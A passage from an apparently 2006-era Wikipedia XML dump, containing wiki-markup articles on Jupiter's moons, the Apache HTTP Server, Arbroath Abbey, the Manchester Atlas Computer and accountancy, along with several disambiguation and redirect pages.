&lt;center&gt;''... | [[Metis (moon)|Metis]] | '''Adrastea''' | [[Amalthea (moon)|Amalthea]] | ...''&lt;/center&gt;
{{Jupiter_Footer}}

[[Category:Jupiter's moons]]

[[als:Adrastea (Mond)]]
[[bg:Адрастея (спътник)]]
[[bs:Adrasteja]]
[[ca:Adrastea (satèl·lit)]]
[[cs:Adrastea (měsíc)]]
[[da:Adrastea (måne)]]
[[de:Adrastea (Mond)]]
[[es:Adrastea (luna)]]
[[fr:Adrastée (lune)]]
[[hr:Adrasteja (mjesec)]]
[[it:Adrastea (astronomia)]]
[[nl:Adrastea (maan)]]
[[ja:アドラステア]]
[[nn:Jupitermånen Adrastea]]
[[pl:Adrastea (księżyc)]]
[[pt:Adrasteia]]
[[sk:Adrastea (mesiac)]]
[[sr:Адрастеа]]
[[sv:Adrastea]]
[[uk:Адрастея (супутник)]]
[[zh:木卫十五]]</text>
    </revision>
  </page>
  <page>
    <title>Amalthea</title>
    <id>2578</id>
    <revision>
      <id>41804251</id>
      <timestamp>2006-03-01T21:33:33Z</timestamp>
      <contributor>
        <username>Nolanuss</username>
        <id>379510</id>
      </contributor>
      <minor />
      <comment>interwiki +cs</comment>
      <text xml:space="preserve">'''Amalthea''' refers to:

*[[Amalthea (mythology)]], in Greek mythology the foster-mother of Zeus.
*[[Amalthea (moon)]] of Jupiter.
*[[113 Amalthea]] is an asteroid.
*Amalthea was the name of a ship harboring strikebreakers in Malmö, Sweden in 1908. See [[Anton Nilson]].  
*Lady Amalthea is the name of a character in the fantasy novel and animated movie [[The Last Unicorn]].

{{disambig}}

[[als:Amalthea]]
[[bg:Амалтея]]
[[ca:Amaltea]]
[[cs:Amalthea]]
[[de:Amalthea]]
[[es:Amaltea]]
[[fr:Amalthée]]
[[hr:Amalthea]]
[[it:Amaltea]]
[[lt:Amaltėja]]
[[nl:Amalthea]]
[[ja:アマルテア]]
[[sv:Amalthea]]</text>
    </revision>
  </page>
  <page>
    <title>Ananke</title>
    <id>2580</id>
    <revision>
      <id>39870421</id>
      <timestamp>2006-02-16T12:46:03Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Ananke''' has several meanings:

*[[Ananke (moon)|Ananke]] is a [[natural satellite|moon]] of [[Jupiter (planet)|Jupiter]].
*In [[Greek mythology]], [[Ananke (mythology)|Ananke]] was the mother of the [[Moirae]] and [[Adrasteia]].
*[[Ananke (band)|Ananke]] is the name of a [[Belgian]] [[jazz band]].

{{disambig}}

[[es:Ananké]]
[[hr:Ananke]]
[[pl:Ananke]]
[[pt:Ananke]]
[[sv:Ananke (olika betydelser)]]</text>
    </revision>
  </page>
  <page>
    <title>Apache HTTP Server</title>
    <id>2581</id>
    <revision>
      <id>41626431</id>
      <timestamp>2006-02-28T16:49:19Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">&lt;!-- Release version update? Don't edit this page, just click on the version number! There's something wrong with the infobox and Software2 has been deprecated, so I'm changing this infobox and I'll ignore the warning above--&gt;{{Infobox_Software| name = Apache HTTP Server
|screenshot = [[Image:Apache_HTTPd_logo.png|355px|center|Apache HTTPd Logo]]
|caption = 
|developer = [[Apache Software Foundation]]
|latest_release_version =
|latest_release_date = 
|latest_preview_version = 
|latest_preview_date = 
|operating_system = [[Cross-platform]]
|genre = [[HTTP web server]]
|license = 
|website = [http://www.apache.org/ www.apache.org]
}}
&lt;!--[[Image:Apache_HTTPd_logo.png|355px|right|Apache HTTPd Logo]] --&gt;
'''Apache HTTP Server''' is a  [[free software]]/[[open-source software|open source]] [[HyperText Transfer Protocol|HTTP]] [[web server]] for [[Unix]]-like systems ([[Berkeley Software Distribution|BSD]], [[Linux]], and [[Unix|UNIX systems]]), [[Microsoft Windows]], [[Novell NetWare]] and other platforms. Apache is notable for playing a key role in the initial growth of the [[World Wide Web]], and continues to be the most popular web server in use, serving as the reference platform against which other web servers are designed and judged.

Apache features highly configurable error messages, [[Database management system|DBMS]]-based authentication databases, and [[content negotiation]]. It is also supported by several [[graphical user interface]]s (GUIs) which permit easier, more intuitive configuration of the server.

The Apache HTTP Server is developed and maintained by an open community of developers under the auspices of the [[Apache Software Foundation]].

==History==
Apache web server was originally created by [[Robert McCool|Rob McCool]], who was heavily involved with the [[National Center for Supercomputing Applications]] web server, known simply as [[NCSA HTTPd]]. When Rob left NCSA in mid-1994, the development of httpd stalled, leaving a variety of patches for improvements circulating through e-mails.

Rob McCool was not alone in his efforts. Several other developers helped form the original &quot;Apache Group&quot;: [[Brian Behlendorf]], [[Roy Fielding|Roy T. Fielding]], [[Rob Hartill]], David Robinson, Cliff Skolnick, Randy Terbush, Robert S. Thau, Andrew Wilson, Eric Hagberg, Frank Peters, and Nicolas Pioch.

The author claims the name was initially chosen as a catchy name in order to be original, but the most widespread interpretation (which almost immediately surfaced) is that the name comes from the fact that when it was developed in early [[1995]], it consisted of changes in the code to the most popular HTTP server of the time, [[NCSA HTTPd]] 1.3 and was therefore &quot;a patchy&quot; server. However, in the FAQ on the server's official site, it is stated: &quot;The name 'Apache' was chosen from respect for the Native American Indian tribe of [[Apache]] (Indé), well-known for their superior skills in warfare strategy and their inexhaustible endurance&quot;.

At the time, Apache was the only viable [[open source]] alternative to the [[Netscape Communications Corporation|Netscape]] web server (currently known as [[Sun Java System Web Server]]). It has since evolved to rival other [[Unix]]-based [[HTTP]] servers in terms of functionality and performance. Since April [[1996]] Apache has been the most popular HTTP server on the [[Internet]]. By May [[1999]] Apache installations served 57% of all [[web site]]s. Its popularity continued to rise, and in February 2006 Apache served 68% of all [[web site]]s ([http://news.netcraft.com/archives/2006/02/02/february_2006_web_server_survey.html Netcraft Web Server Survey, February 2006]). [[Microsoft]]'s [[Internet Information Services]] (IIS) is the main competitor to Apache, trailed by Sun Microsystem's [[Sun Java Web Server]] and a host of other applications such as [[Zeus Web Server|Zeus]].

==License==
{{main|Apache License}}

The [[Open-source license|License]] under which software from the Apache Foundation is distributed is a distinctive part of the Apache HTTP Server's history and presense in the open source software environment. The Apache License is atypical in that it allows for the distribution of both open- and closed-source [[Fork (software development)|derivations]] of the source code.

Furthermore, it is perhaps surprising that the [[Free Software Foundation]] does not consider the Apache License to be &quot;compatible&quot; with the [[GPL]], meaning that software licensed under the Apache License cannot be integrated with software that is distributed under the GPL. Here is what the FSF says about the Apache License:

:This is a free software license but it is incompatible with the GPL. The Apache Software License is incompatible with the GPL because it has a specific requirement that is not in the GPL: it has certain patent termination cases that the GPL does not require. (We don't think those patent termination cases are inherently a bad idea, but nonetheless they are incompatible with the GNU GPL.)

==Usage==
Apache is primarily used to serve static and [[Dynamic Web page|dynamic]] content on the World Wide Web. Many [[Web application|web applications]] are designed expecting the environment and features that Apache provides.

Apache is the web server component of the popular [[web server application stack]] called [[LAMP (software bundle)|LAMP]] ([[Linux]], Apache, [[MySQL]], [[PHP]]/[[Perl]]/[[Python programming language|Python]]).

Apache is redistributed as part of various [[proprietary software|proprietary]] packages,for example: the [[Oracle database]] or the [[International Business Machines|IBM]] [[WebSphere]] [[application server]]. [[Mac OS X]] integrates Apache as its built-in web server. It is also supported in some way by [[Borland]] in the [[Kylix programming tool|Kylix]] and [[Delphi programming language|Delphi]] development tools. Apache is included with [[Novell Netware]] 6.5, where it is the default web server.

Apache is used for many other tasks where content needs to be made available in a secure and reliable way. One example is sharing files off of a personal computer over the Internet. A user who has Apache installed on their desktop can put arbitrary files in the Apache's document root which can then be shared.

Programmers developing web applications often use a locally installed version of Apache in order to preview and test code as it is being developed.

==Features==
Apache supports a variety of features, many implemented as compiled modules which extend the core functionality.  These can range from server-side programming language support to authentication schemes.  Some common language interfaces support [[mod_perl|Perl]], [[mod_python|Python]], [[Apache Rivet|Tcl]], and [[PHP]].  Popular authentication modules include mod_access, mod_auth, and mod_digest.  A sample of other features include [[Secure Sockets Layer|SSL]] and [[Transport Layer Security|TLS]] support (mod_ssl), a [[proxy server|proxy]] module, a useful URL rewriter (also known as a [[rewrite engine]], implemented under mod_rewrite), custom log files (mod_log_config), and filtering support (mod_include and mod_ext_filter).  Apache logs can be analysed through a web browser using free scripts such as [[AWStats]] or [[Visitors]].

==Apache 2==
Version 2 of the Apache server was written from scratch and contains no code from NCSA. The Apache 2.x core has several major enhancements over Apache 1.x. These include [[Thread (computer science)|UNIX threading]], better support for non-Unix platforms (such as Windows), a new Apache [[application programming interface|API]], and [[IPv6]] support.

Version 2.2 introduced a new auth API that allows for more flexibility, it also features improved cache modules and proxy modules.

==See also==
* [[Comparison of web servers]]
* [[Stronghold (software)|Stronghold]], commercial version formerly distributed by [[Red Hat]]
* [[ApacheBench]]
* [[POSSE project]]

==External links==
* [http://www.apache.org/dist/httpd/binaries/win32/ Apache download page] ''Excellent site for beginners to download Apache.''
* [http://httpd.apache.org/ Apache official website]
* [http://httpd.apache.org/docs/2.0/new_features_2_0.html New Features in Apache 2.0]
* [http://httpd.apache.org/docs/2.2/new_features_2_2.html New Features in Apache 2.2]
* [http://svn.apache.org/viewcvs.cgi/httpd/httpd/trunk/ SVN trunk of Apache 2.x]
* [http://apache.on-the-net.com/ Apache GUIs]
* [http://uptime.netcraft.com/up/ Netcraft Uptime Survey], a service tracking uptime of web servers
* [http://www.onlamp.com/apache/ Apache DevCenter]
* [http://www.apacheweek.com/ Apache Week]
* [http://www.apachenews.org/ Apache News Online]
* [http://dmoz.org/Computers/Software/Internet/Servers/WWW/Apache/ Links at Open Directory Project]
* [http://linuxtecharticles.com/chrootingapache.html Learn how to secure Apache, with a jail]

==Further Reading==
*{{cite book | author=Lopez, Daniel | title= Sams Teach Yourself Apache 2 in 24 Hours| publisher= Sams| year= June 12, 2002| id=ISBN 0672323559}} Excellent easy to use book, the 3rd chapter, which explains how to install Apache, can be viewed on Amazon.com [http://www.amazon.com/gp/reader/0672323559/ here] ''(must register with Amazon first before viewing book pages)'' Page 45 explains how to download Apache on windows.
*{{cite book | author= Wrightson, Katherine| title=Apache Server 2.0: A Beginner's Guide  | publisher= Osborne/McGraw-Hill| year= September 5, 2001| id=ISBN 007219183X}} Complex language makes this guide difficult to understand except for computer administrators familiar with the jargon.

[[Category:Web server software]]
[[Category:Apache Software Foundation projects|HTTP Server]]

{{FOLDOC}}

[[cs:Apache HTTP Server]]
[[da:Apache (webserver)]]
[[de:Apache HTTP Server]]
[[es:Servidor HTTP Apache]]
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[[ko:아파치 웹 서버]]
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[[uk:Апачі (веб сервер)]]
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  </page>
  <page>
    <title>Alph</title>
    <id>2582</id>
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      <id>24493085</id>
      <timestamp>2005-10-01T17:24:39Z</timestamp>
      <contributor>
        <username>Bogdangiusca</username>
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      <minor />
      <comment>[[Category:Fictional rivers]]</comment>
      <text xml:space="preserve">The '''Alph''' is supposedly an &quot;underground river&quot; of [[Esotericism]] in [[Europe]], symbolising the [[secret knowledge]] held in that Continent.

Alph or Alpheus features in concepts of [[Arcadia]], as well as in the famous poem by [[Samuel Taylor Coleridge]], ''[[Kubla Khan]]'' and the song [[Xanadu]] by the Canadian rock band [[Rush (band)|Rush]].

{{occult-stub}}

[[Category:Occult]]
[[Category:Fictional rivers]]</text>
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  </page>
  <page>
    <title>Arbroath Abbey</title>
    <id>2583</id>
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      <id>38931691</id>
      <timestamp>2006-02-09T16:29:28Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 1|Feb 1]]</comment>
      <text xml:space="preserve">[[Image:Arbroath_Abbey1.jpg|right|thumb|300px|Arbroath Abbey, showing distinctive [[sandstone]] colouring.]]
'''Arbroath Abbey''' was founded in [[1178]] by [[William I of Scotland|King William the Lion]] for a group of [[Tironesian]] [[Benedictine]] monks from [[Kelso Abbey]].  It was [[consecration|consecrated]] in [[1197]] with a dedication to the deceased [[Thomas Becket|Saint Thomas Becket]], whom the king had met at the [[England|English]] court.  It was William's only personal foundation &amp;mdash; he was buried within its precincts in [[1214]].

The last Abbot was [[Cardinal]] [[David Beaton]], who in [[1522]] succeeded his uncle James to become Archbishop of [[St Andrews]].  The Abbey is cared for by [[Historic Scotland]] and is open to the public throughout the year.  The distinctive red [[sandstone]] ruins stand at the top of the High Street in Arbroath.

==History==

King William gave the Abbey independence from its [[mother church]] and endowed it generously, including income from 24 parishes, land in every royal burgh and more.  The Abbey's monks were allowed to run a market and build a harbour.  King [[John of England]] gave the Abbey permission to buy and sell goods anywhere in [[England]] (except [[London]]) toll-free.

The Abbey, which was the richest in [[Scotland]], is most famous for its association with the [[1320]] [[Declaration of Arbroath]], believed to have been drafted by Abbot [[Bernard de Linton]], who was the Chancellor of Scotland under King [[Robert I]].

Since [[1947]], a pageant commemorating the Declaration's signing has been held within the roofless remains of the Abbey church.  The celebration is run by the local [[Arbroath Abbey Pageant Society]], and tells the story of the events which led up to the signing.  The Pageant is not an annual event (most recent performance 2005).

The Abbey fell into ruin after the [[Reformation]].  From [[1590]] onward, its stones were raided for buildings in the town of [[Arbroath]].  This continued until [[1815]] when steps were taken to preserve the remaining ruins.  

On [[Christmas]] Day [[1950]], the [[Stone of Destiny]] was stolen from [[Westminster Abbey]]. On [[April 11]], [[1951]], the missing stone was found lying on the site of the Abbey's altar.

==Architectural Description==
[[Image:Arbroath_Abbey2.jpg|right|thumb|300px|Arbroath Abbey, showing The Round 'O'.]]
The Abbey was built over some sixty years using local red sandstone, but gives the impression of a single coherent, mainly '[[Early English]]' architectural design, though the round-arched processional doorway in the western front looks back to late [[Normans|Norman]] or transitional work.  The [[triforium]] (open arcade) above the door is unique in Scottish medieval architecture.  It is flanked by twin towers decorated with blind arcading.  The [[cruciform]] church measured 276 feet long by 160 feet wide.  What remains of it today are the [[sacristy]], added by Abbot Paniter in the 15th century, the southern [[transept]], which features Scotland's largest lancet windows, part of the [[choir]] and [[presbytery]], the southern half of the [[nave]], parts of the western towers and the western doorway.
The church originally had a central tower and (probably) a spire.  These would once have been visible for many miles over the surrounding countryside, and no doubt once acted as a sea-mark for ships.  The soft sandstone of the walls was originally protected by plaster internally and render externally.  These coatings are long gone and much of the architectural detail is sadly eroded, though detached fragments found in the ruins during consolidation give an impression of the original refined, rather austere, architectural effect.

The distinctive round window high in the south transept was originally lit up at night as a [[beacon]] for mariners.  It is known locally as the 'Round O', and from this tradition inhabitants of [[Arbroath]] are colloquially known as 'Reid Lichties' (Scots reid = red).

Little remains of the claustral buildings of the Abbey except for the impressive gatehouse, which stretches between the south-west corner of the church and a defensive tower on the High Street, and the still complete Abbot's House, a building of the 13th, 15th and 16th centuries, which is the best-preserved of its type in [[Scotland]].

In the summer of [[2001]] a new visitors' centre was opened to the public beside the Abbey's west front.  This red sandstone-clad building, with its distinctive 'wave-shaped' organic roof, planted with sedum, houses displays on the history of the Abbey and some of the best surviving stonework and other relics.  The upper storey features a scale model of the Abbey complex, a computer-generated 'fly-through' reconstruction of the church as it was when complete, and a viewing gallery with excellent views of the ruins.  The centre won the [[2002]] Angus Design Award.  An archaeological investigation of the site of the visitors' centre before building started revealed the foundations of the medieval precinct wall, with a gateway, and stonework discarded during manufacture, showing that the area was the site of the masons' yard while the Abbey was being built.

==External links==
*{{historic-scotland-link|013}}
* [http://www.undiscoveredscotland.co.uk/arbroath/arbroathabbey/ ''Undiscovered Scotland's'' detailed history]
* http://www.angus.gov.uk/history/features/buildings/arbabbey.htm
* http://mysite.freeserve.com/arbroathabbeypageant/
* [http://www.angus.gov.uk/new/releases-archive/2003/2003-02-07a.html 2002 Angus Design Award]

[[Category:Monasteries in Scotland]]
[[Category:History of Angus]]

==References==
*{{1911}}

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  <page>
    <title>Atlas the Titan</title>
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    <title>Atlas the moon</title>
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    <title>Atlas the book</title>
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      <text xml:space="preserve">#REDIRECT [[Atlas]]</text>
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    <title>Atlas the vertebra</title>
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    <title>Atlas the mountain system</title>
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      <text xml:space="preserve">#REDIRECT [[Atlas Mountains]]</text>
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    <title>Atlas the rocket</title>
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    <title>Atlas the architectural term</title>
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    <title>Atlas the topology term</title>
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  <page>
    <title>Atlas Computer (Manchester)</title>
    <id>2592</id>
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      <timestamp>2005-12-15T05:03:24Z</timestamp>
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        <ip>24.193.189.215</ip>
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      <text xml:space="preserve">The '''Atlas Computer''' of the [[Victoria University of Manchester|University of Manchester]]  became operational in [[1962]], as a joint development between the University, [[Ferranti]] and [[Plessey]]. It was arguably the fastest computer in the world until the release of the [[CDC 6600]]. It was    said at the time that whenever it went offline half of the [[United Kingdom|UK]] computer capacity was lost.  It was a second-generation computer, using [[transistor]]s.

Two other Atlas machines were built: one for [[BP|British Petroleum]] and the [[University of London]] and one for the [[Atlas Computer Laboratory]] at Chilton near [[Oxford]]. A derivative system was built by Ferranti for [[University of Cambridge|Cambridge University]], called the [[Titan (computer)|Titan]], which had a different memory organisation, and ran a [[time-sharing]] operating system developed by Cambridge Computer Laboratory.

The University of Manchester's Atlas system was eventually decommissioned in [[1971]].

==Technical description==

===Hardware===

The machine had many innovative features but the key operating parameters were:
* 48-bit [[word size]]
* 24-bit [[address space]]
* 16[[Kilo|K]] words of [[magnetic core memory|core store]] (equivalent to 96 [[kilobyte|KB]]), featuring interleaving of odd/even addresses
* 96K words of [[drum memory|drum store]] (eqv. to 576 KB), split across four drums but integrated with the core store using [[virtual memory]] and [[paging]] techniques
* Capability for the addition of (for the time) sophisticated new [[peripheral]]s such as [[magnetic tape]]
* Addressing of peripherals through Vstore addresses and [[extracode]] routines

It did not use a synchronous clocking mechanism so performance measurements were not easy but as an example:
* [[Fixed-point arithmetic|Fixed-point]] [[processor register|register]] add &amp;mdash; 1.59 [[microsecond]]s
* [[Floating-point]] add, no modification &amp;mdash; 1.61 microseconds
* Floating-point add, double modify &amp;mdash; 2.61 microseconds
* Floating-point multiply, double modify &amp;mdash; 4.97 microseconds 

===Extracode===

One interesting feature of the Atlas was '''extracode''', a system that allowed new instructions to be added in software.

The uppermost ten [[bit]]s of an Atlas machine instruction denoted which operation should be performed. If the [[most significant bit]] was set to [[0 (number)|zero]], this was an ordinary machine instruction executed directly by the hardware.

If the uppermost bit was set to [[1 (number)|one]], this was an Extracode and was implemented as a special kind of [[subroutine]] jump to an [[memory address|address]] in the fixed store ([[Read-only memory|ROM]]) where that address was determined by the other nine bits. Extracode mode had its own [[program counter|program address counter]].

Many of the extracodes were what we would probably call [[microcode]]s nowadays; they were simple arithmetic [[procedures]] which would have been too inefficient to implement in [[computer hardware|hardware]]. However, about half of the codes were designated as Supervisor functions which invoked [[operating system]] procedures. Typical examples would be &quot;Print the character specified on the stream specified&quot; or &quot;Read a block of 512 words from logical tape N&quot;. 

Extracodes were the only means that a [[computer program|program]] could communicate with the Supervisor program.

Modern Intel-type CPUs have a mechanism which is similar in principle but termed 'interrupts'. This is a bad and unhelpful name, as it leads to confusion with [[interrupt|hardware interrupt]]s.

===Software===

A unique [[Supervisor]] software system managed the computer's processing time (as such it qualifies in modern terminology as an advanced [[scheduling|job scheduler]], or a simple [[operating system]]).

One of the first [[high level language]]s available on Atlas was named [[Atlas Autocode]], which was contemporary to Algol60 and created specifically to address what Tony Brooker perceived to be some defects in that language. The Atlas did however support [[Algol 60]], as well as [[Fortran]] and [[COBOL]]. Being a university machine it was patronised by a large number of the student population who even had access to a protected [[machine code]] development environment.

&lt;!-- What other [[operating system]]s and [[programming language]]s were available on the Atlas? [[CPL]] was intended to be made available. --&gt;

==References==
*''The First Computers: History and Architectures'', edited by Raúl Rojas and Ulf Hashagen, 2000, MIT Press, ISBN 0-262-18197-5.
*[http://history.dcs.ed.ac.uk/archive/docs/atlasautocode.html The Atlas Autocode Reference Manual]
[[Category:Early computers]]</text>
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  <page>
    <title>Accountancy</title>
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      <comment>rv spam</comment>
      <text xml:space="preserve">'''Accountancy''' ([[profession]]) or '''accounting''' (methodology) is the measurement, disclosure or provision of assurance about information that helps managers and other decision makers make resource allocation decisions.  [[Financial accountancy | Financial accounting]] is one branch of accounting and historically has involved processes by which financial information about a business is recorded, classified, summarized, interpreted, and communicated.  [[Financial audit|Auditing]], a related but separate discipline, is the process whereby an independent auditor examines an organization's financial statements in order to express an opinion -- that conveys reasonable but not absolute assurance -- as to the fairness and adherence to [[generally accepted accounting principles]], in all material respects.

Practitioners of accountancy are known as '''accountants'''. Officially [[license]]d accountants are recognized by titles such as ''[[Chartered Accountant]]'' (UK, Canada, India), ''[[Certified Public Accountant]]'' (US), ''[[Certified Management Accountant]]'' (Canada),   or ''[[Certified General Accountant]]'' (Canada). The majority of &quot;public&quot; accountants in Canada are Chartered Accountants; however, Certified General Accountants are also authorized by legislation to practise public accounting and auditing in all Canadian provinces, except Ontario and Quebec, as of 2005.

Accountancy attempts to create accurate [[financial statement|financial reports]] that are useful to managers, regulators, and other [[stakeholder]]s such as [[shareholder]]s, [[creditor]]s, or owners. The day-to-day record-keeping involved in this process is known as bookkeeping.

At the heart of modern financial accounting is the [[double-entry book-keeping]] system.
This system involves making at least two entries for every transaction: a debit in one account, and a corresponding credit in another account. The sum of all debits should always equal the sum of all credits. This provides an easy way to check for errors. This system was first used in medieval [[Europe]], although claims have been made that the system dates back to [[Ancient Greece]].

According to critics of [[standard accounting practices]], it has changed little since. [[Accounting reform]] measures of some kind have been taken in each generation to attempt to keep bookkeeping relevant to capital assets or production capacity. However, these have not changed the basic principles, which are supposed to be independent of [[economics]] as such.

==History==
Accountancy's infancy dates back to the earliest days of [[human]] [[agriculture]] and [[civilization]] (the [[Sumerians]] in [[Mesopotamia]]), when the need to maintain accurate records of the quantities and relative values of agricultural products first arose.

The art of accountancy based upon a [[logic]]al [[mathematic]] [[system]] ([[double-entry book-keeping]]) must certainly have been understood in [[Italy]] before 1495, when [[Luca Pacioli]] (1445 - 1517), also known as Friar Luca dal Borgo, published at [[Venice]] his treatise on book-keeping.

The first known [[English language|English]] book on the science was published in [[London]] by John Gouge or Gough in 1543. It is described as ''A Profitable Treatyce called the Instrument or Boke to learn to knowe the good order of the kepyng of the famouse reconynge, called in Latin, Dare and Habere, and, in English, Debitor and Creditor''.

A short book of instructions were also published in 1588 by [[John Mellis]] of [[Southwark]], in which he says, &quot;I am but the renuer and reviver of an ancient old copie printed here in London the 14 of August 1543: collected, published, made, and set forth by one Hugh Oldcastle, Scholemaster, who, as appeareth by his treatise, then taught Arithmetics, and this booke in Saint Ollaves parish in Marko Lane.&quot; John Mellis refers to the fact that the principle of accounts he explains (which is a simple system of double entry) is &quot;after the forme of Venice&quot;.

The very interesting and able book described as ''The Merchants Mirrour, or directions for the perfect ordering and keeping of his accounts formed by way of Debitor and Creditor'', after the (so termed) Italian manner, by Richard Dafforne, accountant, published in 1635, contains many references to early books on the science of accountancy.  In a chapter in this book, headed &quot;Opinion of Book-keeping's Antiquity,&quot; the author states, on the authority of another writer, that the form of book-keeping referred to had then been in use in Italy about two hundred years, &quot;but that the same, or one in many parts very like this, was used in the time of Julius Caesar, and in Rome long before.&quot; He gives quotations of Latin book-keeping terms in use in ancient times, and refers to &quot;ex Oratione Ciceronis pro Roscio Comaedo&quot;; and he adds: 

:&quot;That the one side of their booke was used for Debitor, the other for Creditor, is manifest in a certain place, ''Naturalis Historiae Plinii'', lib. 2, cap. 7, where hee, speaking of Fortune, saith thus: 

: ''Huic Omnia Expensa.''
: ''Huic Omnia Feruntur accepta et in tota Ratione mortalium sola ''
: ''Utramque Paginam facit.&quot;''

An early Dutch writer appears to have suggested that double-entry book-keeping was even in existence among the Greeks, pointing to scientific accountancy having been invented in remote times.

There were several editions of Richard Dafforne's book printed---the second edition having been published in 1636, the third in 1656, and another was issued in 1684. The book is a very complete treatise on scientific accountancy, it was beautifully prepared and contains elaborate explanations; the numerous editions tend to prove that the science was highly appreciated in the 17th century. From this time there has been a continuous supply of literature on the subject, many of the authors styling themselves accountants and teachers of the art, and thus proving that the professional accountant was then known and employed.

Very early in the 18th century, the services of an accountant practising in the city of [[London]] were made use of in the course of an investigation into the transactions of a director of the [[South Sea Bubble|South Sea Company]], who had been dealing in the company's stock. During this investigation the accountant appears to have examined the books of at least two firms of merchants. His report is described Observations made upon examining the books of Sawbridge and Company, by Charles Snell, Writing Master and Accountant in Foster Lane, London. The United States owes the concept of the Certified Public Accountant designation to England which had coined the Chartered Accountant designation in the 19th century.

==Accountancy qualifications and regulation==
The requirements for entry in the profession of accounting vary from country to country.

=== Commonwealth of Nations ===
In the [[United Kingdom]], [[Canada]], [[Australia]] and several other [[Commonwealth of Nations]] countries, the equivalents of Certified Public Accountant (CPA) include [[Chartered Accountant]] (CA - in UK, Commonwealth and former British states), Chartered Certified Accountant (ACCA - United Kingdom), International Accountant (AIA - United Kingdom), Certified Public Accountant (CPA - Ireland and CPA - Hong Kong), Certified General Accountant (CGA - Canada), and Certified Practising Accountant (CPA - Australia). 

Please refer to the latest statutory auditing rights of above accounting bodies in individual jurisdictions and distinction from non-audit bodies for various consumers. In UK, only 3 chartered accountants (England &amp; Wales, Scottish and Irish)and their equivalents (AIA and ACCA) are &quot;Registered Auditors&quot; under Companies Act.

ACA is the best known and most respected qualification in the UK, equivalent of a CA but handled by a different board ICAEW.

====Canada====
In Canada, there are three recognized accounting bodies: the Canadian Institute of Chartered Accountants (CA) and the provincial and territorial CA Institutes, the Certified General Accountants Association of Canada (CGA)]], and the Society of Management Accountants of Canada (CMA). CA and CGA were created by Acts of Parliament in 1902 and 1913 respectively and CMA was established in 1920.

The CA program focuses on public accounting and candidates must obtain auditing experience from public accounting firms; the CGA program takes a general approach allowing candidates to focus in their own financial career choices; the CMA program focuses in management accounting.  Both the CA and the CMA programs require a candidate to obtain a degree as a program entry requirement. The CGA program only requires a degree as an exit requirement prior to certification.

Auditing and Public Accounting are regulated by the provinces. Historically, only CAs can perform audits in [[Ontario]]. In 2004, the provincial government of [[Ontario]] passed a new Public Accounting Act that would allow qualified CGAs and CMAs to perform audits, conditional on their organizations being able to demonstrate that their qualification and regulatory programs are equivalent in rigour to that of the CA program. As of March 2006, this process of evaluation had not yet begun.  In [[Quebec]] as well, CAs still have exclusive public company audit rights by statute. In [[British Columbia]] and [[Prince Edward Island]], CAs and CGAs have equal status regarding public accounting and auditing; In the rest of [[Canada]], CAs, CGAs, and CMAs are considered equivalents pursuant to provincial and territorial legislation.

===United States of America===
In the [[United States]], practicing accountants include [[Certified Public Accountant]]s (CPAs), [[Certified Internal Auditor]]s (CIAs), [[Certified Management Accountant]]s (CMAs) and [[Accredited Business Accountant]]s (ABAs).  The difference between these certifications is primarily the types of services provided, although individuals may earn more than one certification.  Additionally, much accounting work is performed by uncertified individuals, who may be working under the supervision of a certified accountant.

A CPA is licensed by the state of his/her residence to provide auditing services to the public, although most CPA firms also offer accounting, tax, litigation support, and other financial advisory services.  The requirements for receiving the CPA license varies from state to state, although the passage of the Uniform Certified Public Accountant examination is required by all states. This examination is designed and graded by the [[American Institute of Certified Public Accountants]].

A CIA is granted a certificate from the Institute of Internal Auditors (IIA), provided that the candidate passed a rigorous examination of four parts. A CIA mostly provides his/her services directly to his/her employer rather than the public.

A CMA is granted a certificate from the Institute of Management Accountants (IMA), provided that the candidate passed a rigorous examination of four parts and meet the practical experience requirement from the IMA.  A CMA mostly provides his/her services directly to his/her employers rather than the public.  A CMA can also provide his services to the public, but to an extent much lesser than that of a CPA.

An ABA is granted accreditation from the Accreditation Council for Accountancy and Taxation (ACAT), provided that the candidate passed the eight-hour Comprehensive Examination for Accreditation in Accounting which tests proficiency in financial accounting, reporting, statement preparation, taxation, business consulting services, business law, and ethics. An ABA specializes in the needs of small-to-mid-size businesses and in financial services to individuals and families. In states where use of the word &quot;accountant” is not permitted, the practitioner may use Accredited Business Advisor.

The [[United States Department of Labor]]'s [[Bureau of Labor Statistics]] estimates that there are about one million persons [http://www.bls.gov/oes/current/oes132011.htm] employed as accountants and auditors in the U.S.

U.S. [[tax law]] grants accountants a limited form of [[accountant-client privilege]].

==Accounting scholarship==
Refer [[Accounting scholarship]] for professorship.

==The &quot;Big Four&quot; accountancy firms==
The &quot;[[Big 4 accountancy firm|Big Four auditor]]s&quot; are the largest [[multinational]] accountancy firms.  
*[[PricewaterhouseCoopers]]
*[[Deloitte Touche Tohmatsu]]
*[[Ernst &amp; Young]]
*[[KPMG]] 

The Big 4 accountancy firms can all trace their history back to firms in Europe, from which they have descended through a long line of mergers.  Many of the originating firms were from the [[United Kingdom]].   As British trade interests expanded, correspondent firms were established throughout the world by the organisations.  These firms are associations of the  partnerships in each country rather than having the classical structure of holding company and subsidiaries, but each has an international 'umbrella' organisation for co-ordination.  However, due to the dominant size of the [[Economy of the United States|United States' economy]], the offices of the Big 4 accountancy firms based in the United States have always generated more revenue than the rest of the Big 4 accountancy firms' offices in the world combined. 

Before the Enron and other [[accounting scandals]], there were five large firms and were called the Big Five. Since [[Arthur Andersen]]'s [[Assurance services|assurance]] practice split, with a plurality joining KPMG in the US and Deloitte &amp; Touche outside of the US, Arthur Andersen left from the group.  Previous to this there were also groupings referred to as the &quot;Big Six&quot; and the &quot;Big Eight&quot;.

Enron turned out to be only the first of a series of accounting scandals that enveloped the accounting industry in 2002.

This is likely to have far-reaching consequences for the U.S. accounting industry. Application of [[International Accounting Standards]] originating in [[International Accounting Standards Board]] headquartered in [[London]] and bearing more resemblance to UK than current [[US GAAP|US practices]] is often advocated by those who note the relative stability of the U.K. accounting system (which reformed itself after scandals in the late 1980s and early 1990s). [[Accounting reform]] of a far more comprehensive sort is advocated by those who see issues with [[capitalism]] or [[economics]], and seek ecological or social accountability.

==Topics in accounting==
See [[list of accounting topics]] for complete listing.

===Auditing===
*[[Assurance services]]
